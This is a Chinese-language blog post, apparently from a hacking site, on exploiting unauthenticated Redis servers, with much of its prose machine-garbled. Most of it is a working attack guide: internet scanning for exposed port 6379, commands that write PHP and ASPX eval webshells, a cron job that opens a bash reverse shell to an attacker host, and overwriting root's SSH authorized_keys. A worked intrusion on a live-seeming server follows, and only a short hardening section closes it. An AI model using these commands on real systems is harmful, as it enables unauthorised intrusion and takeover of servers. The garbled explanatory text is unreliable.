您现在的位置是:首页 > 黑客技术

网站渗透新手入门|Redis漏洞运用与防御力

作者:果E安全网时间:2020-10-25 23:16:00分类:黑客技术

简介?Redis在大企业被很多运用,根据小编的研究发现,现阶段在互联网技术上早已出現Redis没经受权病原体似全自动进攻,进攻取得成功后会对里网开展扫描仪、操纵、感柒及其用于开展挖币、敲诈勒索等故意个人行为,初期在网上以前剖析过一篇文章“根据redis感柒linux版本勒索软件的网络服务器”(假如企业应用了Redis,那麼理应给与高度重视,根据具体科学研究,当

? Redis在大企业被很多运用,根据小编的研究发现,现阶段在互联网技术上早已出現Redis没经受权病原体似全自动进攻,进攻取得成功后会对里网开展扫描仪、操纵、感柒及其用于开展挖币、敲诈勒索等故意个人行为,初期在网上以前剖析过一篇文章“根据redis感柒linux版本勒索软件的网络服务器”(http://www.sohu.com/a/143409075_765820),假如企业应用了Redis,那麼理应给与高度重视,根据具体科学研究,当在一定标准下,攻击者能够获得webshell,乃至root管理权限。

Remote Dictionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value分布式存储。Redis是一个开源系统的应用ANSI C语言撰写、遵循BSD协议、适用互联网、可根据运行内存也可以持久化的系统日志型、Key-Value数据库查询,并出示多语种的API。它一般被称作算法设计网络服务器,由于值(value)能够是字符串数组(String), hach(Map), 目录(list), 结合(sets) 和井然有序结合(sorted sets)等种类。从二零一零年3月15日起,Redis的开发设计工作中由VMware主持人。从二零一三年五月刚开始,Redis的开发设计由Pivotal冠名赞助。现阶段全新平稳版本为4.0.8。

Redis默认设置配备端口号为6379,sentinel.conf配备器端口号为26379

https://redis.io/

http://download.redis.io/releases/redis-3.2.11.tar.gz

wget http://download.redis.io/releases/redis-4.0.8.tar.gz

tar –xvf redis-4.0.8.tar.gz

cd redis-4.0.8

make

全新版本早期漏洞早已恢复,检测时提议安裝3.2.11版本。

cp redis.conf http://www.联合利华信息网.com/articles/web/src/redis.conf

bind 127.0.0.1 前边再加上#号注解掉

protected-mode 设为 no

?

起动 redis-server

http://www.联合利华信息网.com/articles/web/src/redis-server redis.conf

? 最新版本安裝取得成功后,如图所示1所显示。默认设置的配备是应用6379端口号,沒有登陆密码。此刻会造成 未受权浏览随后应用redis管理权限写文档。

image.png

图1 安裝配备 redis

互动式方法

方法联接,随后全部的实际操作全是在互动的方法完成,不用再实行redis-cli了,比如命令:

redis-cli -h 127.0.0.1-p 6379

?

加-a主要参数表明带登陆密码的浏览命令方法

立即获得命令的回到結果.

命令叙述info查询信息flushall删掉全部数据库查询內容flushdb更新数据库查询KEYS *查询全部键,应用 select num 能够查询键值数据信息set test "who am i"设定自变量config set dir dirpath设定途径等配备save储存get 自变量查询自变量名字

大量命令能够参照文章内容:https://www.cnblogs.com/kongzhongqijing/p/6867960.html

? 因配备不善能够没经受权浏览,攻击者不用验证就可以浏览到內部数据信息,其漏洞可造成 比较敏感信息泄漏(Redis服务器存储一些趣味的session、cookie或金融数据能够根据get枚举类型键值),还可以故意实行flushall来清除全部数据信息,攻击者还可根据EVAL实行lua编码,或根据备份数据作用往硬盘载入侧门文档。假如Redis以root真实身份运作,能够给root帐户载入SSH公匙文档,立即免登录密码网络服务器,其有关漏洞信息以下:

Redis 远程控制代码执行漏洞(CVE-2016-8339)

? Redis 3.2.x < 3.2.4版本存有跨站脚本攻击漏洞,可造成 随意代码执行。Redis算法设计储存的CONFIG SET命令中client-output-buffer-limit选择项解决存有越境写漏洞。结构的CONFIG SET命令可造成 越境写,代码执行。

CVE-2015-8080

? Redis 2.8.x在2.8.24之前和3.0.x 在3.0.6之前版本,lua_struct.c中存有getnum涵数整数金额外溢,容许前后文有关的攻击者批准运作Lua编码(运行内存毁坏和应用软件奔溃)或很有可能绕开沙盒游戏限定用意根据很多,开启根据栈的跨站脚本攻击。

CVE-2015-4335

Redis 2.8.1以前版本和3.0.2以前3.x版本中存有安全性漏洞。远程控制攻击者可实行eval命令运用该漏洞实行随意Lua字节码

CVE-2013-7458

? 载入“.rediscli_history”环境变量信息

nmap -v -n -Pn -p 6379 -sV --scriptredis-info 192.168.56.1/24

? Redis环境变量中一般会设定弱密码,在开展渗入时还可以根据webshell查询其环境变量,Redis通常不只一台电子计算机,能够运用其来开展内网渗透,或是拓展管理权限渗入。

https://github.com/evilpacket/redis-sha-crack,其命令为:

node http://www.联合利华信息网.com/articles/web/redis-sha-crack.js -w wordlist.txt -s shalist.txt 127.0.0.1 host2.example.com:5555

必须安裝node:

git clone https://github.com/nodejs/node.git

chmod -R 755 node

cd node

http://www.联合利华信息网.com/articles/web/configure

make

auxiliary/scanner/redis/file_upload ? normal ? ? Redis File Upload

auxiliary/scanner/redis/redis_login ? normal ? ? Redis Login Utility

auxiliary/scanner/redis/redis_server ? normal ? ? Redis Command Execute Scanner

? 当redis管理权限不高时,而且网络服务器开了web服务,在redis有web文件目录写管理权限时,能够试着往web途径写webshell,前提条件是了解物理学途径,精减命令以下:

config set dir E:/www/font

config set dbfilename redis2.aspx

set a "<%@ Page Language="Jscript"%><%eval(Request.Item["c"],"unsafe");%>"

save

(1)联接Redis网络服务器

redis-cli –h 192.168.106.135 –p 6379

(2)在192.168.106.133上实行

nc –vlp 7999

(3)实行下列命令

set x "

* * * * * bash -i >& /dev/tcp/192.168.106.133/7999 0>&1

"

config set dir /var/spool/cron/

ubantu文档为:/var/spool/cron/crontabs/

config set dir /var/spool/cron/crontabs/

config set dbfilename root

save

ssh-keygen -t rsa

config set dir /root/.ssh/

config set dbfilename authorized_keys

set x "

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZA3SEwRcvoYWXRkXoxu7BlmhVQz7Dd8H9ZFV0Y0wKOok1moUzW3 rrWHRaSUqLD5 auAmVlG5n1dAyP7ZepMkZHKWU94TubLBDKF7AIS3ZdHHOkYI8y0NRp6jvtOroZ9UO5va6Px4wHTNK rmoXWxsz1dNDjO8eFy88Qqe9j3meYU/CQHGRSw0/XlzUxA95/ICmDBgQ7E9J/tN8BWWjs5 sS3wkPFXw1liRqpOyChEoYXREfPwxWTxWm68iwkE3/22LbqtpT1RKvVsuaLOrDz1E8qH TBdjwiPcuzfyLnlWi6fQJci7FAdF2j4r8Mh9ONT5In3nSsAQoacbUS1lul root@kali2018

"

save

实行实际效果如图2所显示:

image.png

图2Redis漏洞SSH免登录密码

(1)对“port: 6379”开展检索

https://www.zoome ye.org/searchResult?q=port:6379

  (2)除去显示“-NOAUTH Authentication required.”的结果,显示这个信息表示需要进行认证,也即需要密码才能访问。

  (3)https://fofa.so/

  关键字检索:port="6379" && protocol==redis && country=CN

  1.扫描某目标服务器端口信息

  ? 通过nmap对某目标服务器进行全端口扫描,发现该目标开放Redis的端口为3357,默认端口为6379端口,再次通过iis put scaner软件进行同网段服务器该端口扫描,如图3所示,获取两台开放该端口的服务器。

  image.png

  

图3扫描同网段开放该端口的服务器

  2.使用telnet登录服务器

  使用命令“telnet ip port”命令登录,例如 ,登录后,输入auth和密码进行认证。

  3.查看并保存当前的配置信息。

  通过“config get命令”查看dir和dbfilename的信息,并复制下来留待后续恢复使用。

  config get dir

  config get dbfilename

  4.配置并写入webshell

  (1)设置路径

  config set dir E:/www/font

  (2)设置数据库名称

  将dbfilename对名称设置为支持脚本类型的文件,例如网站支持php,则设置file.php即可,本例中为aspx,所以设置redis.aspx。

  config set dbfilename redis.aspx

  (3)设置webshell的内容

  根据实际情况来设置webshell的内容,webshell仅仅为一个变量,可以是a等其他任意字符,下面为一些参考示例。

  set webshell "<?php phpinfo(); ?>"

  //php查看信息

  set webshell "<?php @eval($_POST['chopper']);?> "

  //phpwebshell

  set webshell "<%@ Page Language="Jscript"%><%eval(Request.Item["c"],"unsafe");%>"

  // aspx的webshell,注意双引号使用"

  (4)保存写入的内容

  ?

  (5)查看webshell的内容

  ?

  完整过程执行命令如图4所示,每一次命令显示“+OK”表示配置成功。

  image.png

  

图4写入webshell

  测试webshell是否正常

  ? 在浏览器中输入对应写入文件的名字,如图5所示进行访问,出现类似:

  “REDIS0006?webshell'a@H搀?”则表明正确获取webshell。

  image.png

  

图5测试webshell是否正常

  6.获取webshell

  如图6所示,使用中国菜刀后门管理连接工具,成功获取该网站的webshell。

  image.png

  

图6获取webshell

  7.恢复原始设置

  (1)恢复dir

  config set dir dirname

  (2)恢复dbfilename

  config set dbfilename dbfilename

  (3)删除webshell

  del webshell

  (4)刷新数据库

  flushdb

  8.完整命令总结

  telnet 1**.**.**.31 3357

  auth 123456

  config get dir

  config get dbfilename

  config set dir E:/www/

  config set dbfilename redis2.aspx

  set a "<%@ Page Language="Jscript"%><%eval(Request.Item["c"],"unsafe");%>"

  save

  get a

  9.查看redis配置conf文件

  ? 通过webshell,在其对应目录中发现还存在其它地址的redis,通过相同方法可以再次进行渗透,如图7所示,可以看到路径、端口、密码等信息。

  image.png

  

图7查看redis其配置文件

  检测key

  ? 通过本地登录,通过“keys *”命令查看,如果有入侵则其中会有很多的值,如图8所示,在keys *执行成功后,可以看到有trojan1和trojan2命令,执行get trojan1即可进行查看。

  image.png

  

图8检查keys

  linux下需要检查authorized_keys

  ? Redis内建了名为crackit的key,也可以是其它值,同时Redis的conf文件中dir参数指向了/root/.ssh, 被覆盖或者包含Redis相关的内容,查看其值就可以直到是否被入侵过.

  对网站进行webshell扫描和分析

  发现利用Redis账号漏洞的,则在shell中会村在Redis字样。

  对服务器进行后门清查和处理

  (1)禁止公网开放Redis端口,可以在防火墙上禁用6379 Redis的端口

  (2)检查authorized_keys是否非法,如果已经被修改,则可以重新生成并恢复,不能使用修改过的文件。并重启ssh服务(service ssh restart)

  (3)增加 Redis 密码验证

  ? 首先停止REDIS服务,打开redis.conf配置文件(不同的配置文件,其路径可能不同)/etc/redis/6379.conf,找到# requirepass foobared去掉前面的#号,然后将foobared改为自己设定的密码,重启启动redis服务。

  (4)修改conf文件禁止全网访问,打开6379.conf文件,找到bind0.0.0.0前面加上# (禁止全网访问)。

  命令描述port修改redis使用的默认端口bind设定redis监听的专用IPrequirepass设定redis连接的密码rename-command CONFIG ""禁用CONFIG命令rename-command info info2重命名info为info2

  http://cve.scap.org.cn/CVE-2015-8080.html

  http://cve.scap.org.cn/CVE-2015-4335.html

郑重声明:

果E安全网所有活动均为互联网所得,如有侵权请联系本站删除处理,转载请注明本站地址。

我来说两句